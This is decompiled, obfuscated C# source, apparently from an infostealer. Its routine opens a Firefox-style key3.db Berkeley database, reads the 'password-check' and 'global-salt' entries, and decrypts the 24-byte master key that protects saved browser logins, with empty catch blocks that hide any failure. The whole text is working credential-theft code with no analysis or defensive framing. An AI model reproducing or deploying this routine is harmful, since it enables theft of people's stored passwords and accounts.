// Token: 0x060001D9 RID: 473 RVA: 0x000101CC File Offset: 0x0000E3CC
private static byte[] GetPrivate3Key(string file)
{
byte[] array = new byte[24];
try
{
if (!File.Exists(file))
{
return(array);
}
new DataTable();
Class_70 berkeleyDB = new Class_70(file);
Class_72 class_ = new Class_72(Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
string hexString = Class_78.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
Class_71 class_2 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Class_69.ConvertHexStringToByteArray(class_.prop_0));
class_2.smethod_230();
Class_50.Decrypt(class_2.prop_3, class_2.prop_4, Class_69.ConvertHexStringToByteArray(class_.prop_2), PaddingMode.None);
Class_62 class_3 = Class_61.Create(Class_69.ConvertHexStringToByteArray(Class_78.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
Class_71 class_4 = new Class_71(Class_69.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), class_3.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1);
class_4.smethod_230();
Class_62 class_5 = Class_61.Create(Class_61.Create(Encoding.Default.GetBytes(Class_50.Decrypt(class_4.prop_3, class_4.prop_4, class_3.prop_3[0].prop_3[1].prop_1, PaddingMode.None))).prop_3[0].prop_3[2].prop_1);
if (class_5.prop_3[0].prop_3[3].prop_1.Length > 24)
{
Array.Copy(class_5.prop_3[0].prop_3[3].prop_1, class_5.prop_3[0].prop_3[3].prop_1.Length - 24, array, 0, 24);
}
else
{
array = class_5.prop_3[0].prop_3[3].prop_1;
}
}
catch
{
}
return(array);
}
// Token: 0x060001DA RID: 474 RVA: 0x00010458 File Offset: 0x0000E658
private static string ParseDb(Class_70 berkeleyDB, Func <string, bool> predicate)
{
string text = string.Empty;
try
{
foreach (KeyValuePair <string, string> keyValuePair in berkeleyDB.prop_1)
{
if (predicate(keyValuePair.Key))
{
text = keyValuePair.Value;
}
}
}
catch
{
}
return(text.Replace("-", string.Empty));
}